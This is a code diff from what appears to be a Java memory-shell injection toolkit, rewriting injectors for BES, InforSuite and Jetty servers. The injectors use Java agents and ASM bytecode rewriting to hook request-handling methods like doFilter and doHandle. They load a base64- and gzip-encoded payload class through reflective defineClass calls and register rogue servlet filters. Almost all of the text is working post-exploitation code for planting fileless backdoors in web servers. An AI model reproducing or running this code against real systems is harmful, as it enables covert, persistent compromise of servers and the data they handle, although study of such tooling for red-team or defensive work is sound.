@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
try {
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
-97
@@ -1,97 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.bes;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class BesContextValveAgentWithAsmInjector implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/DefaultContextValve";
|
|
||||||
private static final String TARGET_METHOD_NAME = "invoke";
|
|
||||||
|
|
||||||
static Constructor<?> constructor = null;
|
|
||||||
|
|
||||||
static {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = Class.forName(getClassName());
|
|
||||||
constructor = clazz.getConstructors()[0];
|
|
||||||
constructor.setAccessible(true);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public BesContextValveAgentWithAsmInjector() {
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
|
|
||||||
try {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new BesContextValveAgentWithAsmInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.DefaultContextValve.invoke");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+198
-39
@@ -1,39 +1,28 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.bes;
|
package com.reajason.javaweb.memshell.injector.bes;
|
||||||
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
import org.objectweb.asm.*;
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import net.bytebuddy.utility.JavaModule;
|
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/28
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class BesFilterChainAgentInjector implements AgentBuilder.Transformer {
|
public class BesFilterChainAgentInjector implements ClassFileTransformer {
|
||||||
|
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
|
||||||
|
private static final String TARGET_METHOD_NAME = "doFilter";
|
||||||
|
|
||||||
static Class<?> interceptorClass = null;
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
static {
|
|
||||||
try {
|
|
||||||
interceptorClass = Class.forName(getClassName());
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
public static String getBase64String() {
|
||||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
return "{{base64String}}";
|
||||||
TypeDescription typeDescription,
|
|
||||||
ClassLoader classLoader, JavaModule module,
|
|
||||||
ProtectionDomain protectionDomain) {
|
|
||||||
return builder.visit(Advice.to(interceptorClass).on(named("doFilter")));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
public static void premain(String args, Instrumentation inst) throws Exception {
|
||||||
@@ -44,21 +33,191 @@ public class BesFilterChainAgentInjector implements AgentBuilder.Transformer {
|
|||||||
launch(inst);
|
launch(inst);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
private static void launch(Instrumentation inst) throws Exception {
|
||||||
System.out.println("MemShell Agent is starting");
|
System.out.println("MemShell Agent is starting");
|
||||||
new AgentBuilder.Default()
|
inst.addTransformer(new BesFilterChainAgentInjector(), true);
|
||||||
.ignore(ElementMatchers.none())
|
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
||||||
.disableClassFormatChanges()
|
String name = allLoadedClass.getName();
|
||||||
.with(AgentBuilder.RedefinitionStrategy.REDEFINITION)
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemError().withErrorsOnly())
|
inst.retransformClasses(allLoadedClass);
|
||||||
// .with(AgentBuilder.Listener.StreamWriting.toSystemOut().withTransformationsOnly())
|
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
||||||
.type(named("com.bes.enterprise.webtier.core.ApplicationFilterChain"))
|
}
|
||||||
.transform(new BesFilterChainAgentInjector())
|
}
|
||||||
.installOn(inst);
|
|
||||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
|
||||||
}
|
}
|
||||||
}
|
|
||||||
|
@Override
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
||||||
|
ProtectionDomain protectionDomain, byte[] bytes) {
|
||||||
|
if (TARGET_CLASS.equals(className)) {
|
||||||
|
defineTargetClass(loader);
|
||||||
|
try {
|
||||||
|
ClassReader cr = new ClassReader(bytes);
|
||||||
|
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
||||||
|
@Override
|
||||||
|
protected ClassLoader getClassLoader() {
|
||||||
|
return loader;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
|
return cw.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
||||||
|
return new ClassVisitor(Opcodes.ASM9, cv) {
|
||||||
|
@Override
|
||||||
|
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
||||||
|
String signature, String[] exceptions) {
|
||||||
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return mv;
|
||||||
|
}
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
public static class AgentShellMethodVisitor extends MethodVisitor {
|
||||||
|
private final Type[] argumentTypes;
|
||||||
|
private final String className;
|
||||||
|
|
||||||
|
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
|
||||||
|
super(Opcodes.ASM9, mv);
|
||||||
|
this.argumentTypes = argTypes;
|
||||||
|
this.className = className;
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void visitCode() {
|
||||||
|
loadArgArray();
|
||||||
|
Label tryStart = new Label();
|
||||||
|
Label tryEnd = new Label();
|
||||||
|
Label catchHandler = new Label();
|
||||||
|
Label ifConditionFalse = new Label();
|
||||||
|
Label skipCatchBlock = new Label();
|
||||||
|
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
|
||||||
|
|
||||||
|
mv.visitLabel(tryStart);
|
||||||
|
String internalClassName = className.replace('.', '/');
|
||||||
|
mv.visitTypeInsn(Opcodes.NEW, internalClassName);
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKESPECIAL, internalClassName, "<init>", "()V", false);
|
||||||
|
mv.visitInsn(Opcodes.SWAP);
|
||||||
|
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
|
||||||
|
"java/lang/Object",
|
||||||
|
"equals",
|
||||||
|
"(Ljava/lang/Object;)Z",
|
||||||
|
false);
|
||||||
|
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
|
||||||
|
mv.visitInsn(Opcodes.RETURN);
|
||||||
|
mv.visitLabel(ifConditionFalse);
|
||||||
|
mv.visitLabel(tryEnd);
|
||||||
|
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
|
||||||
|
mv.visitLabel(catchHandler);
|
||||||
|
mv.visitInsn(Opcodes.POP);
|
||||||
|
mv.visitLabel(skipCatchBlock);
|
||||||
|
}
|
||||||
|
|
||||||
|
public void loadArgArray() {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
|
||||||
|
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
|
||||||
|
for (int i = 0; i < argumentTypes.length; i++) {
|
||||||
|
mv.visitInsn(Opcodes.DUP);
|
||||||
|
push(i);
|
||||||
|
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
|
||||||
|
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void push(final int value) {
|
||||||
|
if (value >= -1 && value <= 5) {
|
||||||
|
mv.visitInsn(Opcodes.ICONST_0 + value);
|
||||||
|
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.BIPUSH, value);
|
||||||
|
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
|
||||||
|
mv.visitIntInsn(Opcodes.SIPUSH, value);
|
||||||
|
} else {
|
||||||
|
mv.visitLdcInsn(new Integer(value));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private int getArgIndex(final int arg) {
|
||||||
|
int index = 1;
|
||||||
|
for (int i = 0; i < arg; i++) {
|
||||||
|
index += argumentTypes[i].getSize();
|
||||||
|
}
|
||||||
|
return index;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] decodeBase64(String base64Str) {
|
||||||
|
Class<?> decoderClass;
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
try {
|
||||||
|
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] gzipDecompress(byte[] compressedData) {
|
||||||
|
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
GZIPInputStream gzipInputStream = null;
|
||||||
|
try {
|
||||||
|
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int n;
|
||||||
|
while ((n = gzipInputStream.read(buffer)) > 0) {
|
||||||
|
out.write(buffer, 0, n);
|
||||||
|
}
|
||||||
|
return out.toByteArray();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
} finally {
|
||||||
|
try {
|
||||||
|
if (gzipInputStream != null) {
|
||||||
|
gzipInputStream.close();
|
||||||
|
}
|
||||||
|
out.close();
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public void defineTargetClass(ClassLoader loader) {
|
||||||
|
try {
|
||||||
|
loader.loadClass(getClassName());
|
||||||
|
return;
|
||||||
|
} catch (ClassNotFoundException ignored) {
|
||||||
|
}
|
||||||
|
byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
try {
|
||||||
|
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
-97
@@ -1,97 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.bes;
|
|
||||||
|
|
||||||
import org.objectweb.asm.*;
|
|
||||||
|
|
||||||
import java.lang.instrument.ClassFileTransformer;
|
|
||||||
import java.lang.instrument.Instrumentation;
|
|
||||||
import java.lang.reflect.Constructor;
|
|
||||||
import java.security.ProtectionDomain;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/3/26
|
|
||||||
*/
|
|
||||||
public class BesFilterChainAgentWithAsmInjector implements ClassFileTransformer {
|
|
||||||
private static final String TARGET_CLASS = "com/bes/enterprise/webtier/core/ApplicationFilterChain";
|
|
||||||
private static final String TARGET_METHOD_NAME = "doFilter";
|
|
||||||
|
|
||||||
static Constructor<?> constructor = null;
|
|
||||||
|
|
||||||
static {
|
|
||||||
try {
|
|
||||||
Class<?> clazz = Class.forName(getClassName());
|
|
||||||
constructor = clazz.getConstructors()[0];
|
|
||||||
constructor.setAccessible(true);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public BesFilterChainAgentWithAsmInjector() {
|
|
||||||
}
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
|
|
||||||
ProtectionDomain protectionDomain, byte[] bytes) {
|
|
||||||
if (TARGET_CLASS.equals(className)) {
|
|
||||||
try {
|
|
||||||
ClassReader cr = new ClassReader(bytes);
|
|
||||||
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
|
|
||||||
@Override
|
|
||||||
protected ClassLoader getClassLoader() {
|
|
||||||
return loader;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
|
||||||
return cw.toByteArray();
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static String getClassName() {
|
|
||||||
return "{{advisorName}}";
|
|
||||||
}
|
|
||||||
|
|
||||||
public static ClassVisitor getClassVisitor(ClassVisitor cv) {
|
|
||||||
return new ClassVisitor(Opcodes.ASM9, cv) {
|
|
||||||
@Override
|
|
||||||
public MethodVisitor visitMethod(int access, String name, String descriptor,
|
|
||||||
String signature, String[] exceptions) {
|
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
|
||||||
try {
|
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
|
||||||
return (MethodVisitor) constructor.newInstance(mv, argumentTypes);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return mv;
|
|
||||||
}
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void premain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
public static void agentmain(String args, Instrumentation inst) throws Exception {
|
|
||||||
launch(inst);
|
|
||||||
}
|
|
||||||
|
|
||||||
private static void launch(Instrumentation inst) throws Exception {
|
|
||||||
System.out.println("MemShell Agent is starting");
|
|
||||||
inst.addTransformer(new BesFilterChainAgentWithAsmInjector(), true);
|
|
||||||
for (Class<?> allLoadedClass : inst.getAllLoadedClasses()) {
|
|
||||||
String name = allLoadedClass.getName();
|
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
|
||||||
inst.retransformClasses(allLoadedClass);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
System.out.println("MemShell Agent is working at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+18
-7
@@ -44,6 +44,10 @@ public class InforSuiteFilterInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* com.cvicse.loong.enterprise.web.WebModule
|
||||||
|
* /usr/local/inforsuite/as/modules/web-glue.jar
|
||||||
|
*/
|
||||||
public List<Object> getContext() throws Exception {
|
public List<Object> getContext() throws Exception {
|
||||||
List<Object> contexts = new ArrayList<Object>();
|
List<Object> contexts = new ArrayList<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
@@ -59,12 +63,18 @@ public class InforSuiteFilterInjector {
|
|||||||
return contexts;
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private ClassLoader getWebAppClassLoader(Object context) {
|
||||||
|
try {
|
||||||
|
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
|
||||||
|
} catch (Exception e) {
|
||||||
|
Object loader = invokeMethod(context, "getLoader", null, null);
|
||||||
|
return ((ClassLoader) invokeMethod(loader, "getClassLoader", null, null));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
if (classLoader == null) {
|
|
||||||
classLoader = context.getClass().getClassLoader();
|
|
||||||
}
|
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
return classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
@@ -83,8 +93,9 @@ public class InforSuiteFilterInjector {
|
|||||||
log.warning("filter already exists");
|
log.warning("filter already exists");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
Object filterDef = Class.forName("org.apache.catalina.deploy.FilterDef").newInstance();
|
ClassLoader contextClassLoader = context.getClass().getClassLoader();
|
||||||
Object filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
|
Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
|
||||||
|
Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
|
||||||
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
|
||||||
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
|
||||||
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
|
||||||
@@ -97,7 +108,7 @@ public class InforSuiteFilterInjector {
|
|||||||
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
|
||||||
}
|
}
|
||||||
|
|
||||||
Constructor<?>[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
|
||||||
constructors[0].setAccessible(true);
|
constructors[0].setAccessible(true);
|
||||||
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
Object filterConfig = constructors[0].newInstance(context, filterDef);
|
||||||
HashMap<String, Object> filterConfigs = null;
|
HashMap<String, Object> filterConfigs = null;
|
||||||
|
|||||||
+272
-39
@@ -1,39 +1,37 @@
|
|||||||
package com.reajason.javaweb.memshell.injector.jetty;
|
package com.reajason.javaweb.memshell.injector.jetty;
|
||||||
|
|
||||||
import net.bytebuddy.agent.builder.AgentBuilder;
|
import org.objectweb.asm.*;
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
import net.bytebuddy.utility.JavaModule;
|
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.lang.instrument.ClassFileTransformer;
|
||||||
import java.lang.instrument.Instrumentation;
|
import java.lang.instrument.Instrumentation;
|
||||||
import java.security.ProtectionDomain;
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.Arrays;
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import java.util.List;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
* @since 2024/12/28
|
* @since 2025/3/26
|
||||||
*/
|
*/
|
||||||
public class JettyHandlerAgentInjector implements AgentBuilder.Transformer {
|
public class JettyHandlerAgentInjector implements ClassFileTransformer {
|
||||||
|
private static final List<String> TARGET_CLASSES = Arrays.asList(
|
||||||
|
"org/eclipse/jetty/servlet/ServletHandler",
|
||||||
|
"org/eclipse/jetty/ee8/servlet/ServletHandler",
|
||||||
|
"org/eclipse/jetty/ee9/servlet/ServletHandler",
|
||||||
|
"org/eclipse/jetty/ee10/servlet/ServletHandler$Chain",
|
||||||
|
"org/mortbay/jetty/servlet/ServletHandler"
|
||||||
|
);
|
||||||
|
private static String targetClassName = "";
|
||||||
|
private static String targetMethodName = "doHandle";
|
||||||
|
|
||||||
static Class<?> interceptorClass = null;
|
public static String getClassName() {
|
||||||
|
return "{{advisorName}}";
|
||||||
static {
|
|
||||||
try {
|
|
||||||
interceptorClass = Class.forName(getClassName());
|
|
||||||
} catch (ClassNotFoundException e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
public static String getBase64String() {
|
||||||
public DynamicType.Builder<?> transform(DynamicType.Builder<?> builder,
|
return "{{base64String}}";
|
||||||
TypeDescription typeDescription,
|
|
||||||
ClassLoader classLoader, JavaModule module,
|
|
||||||
ProtectionDomain protectionDomain) {
|
|
||||||
return builder.visit(Advice.to(interceptorClass).on(named("doHandle")));
|
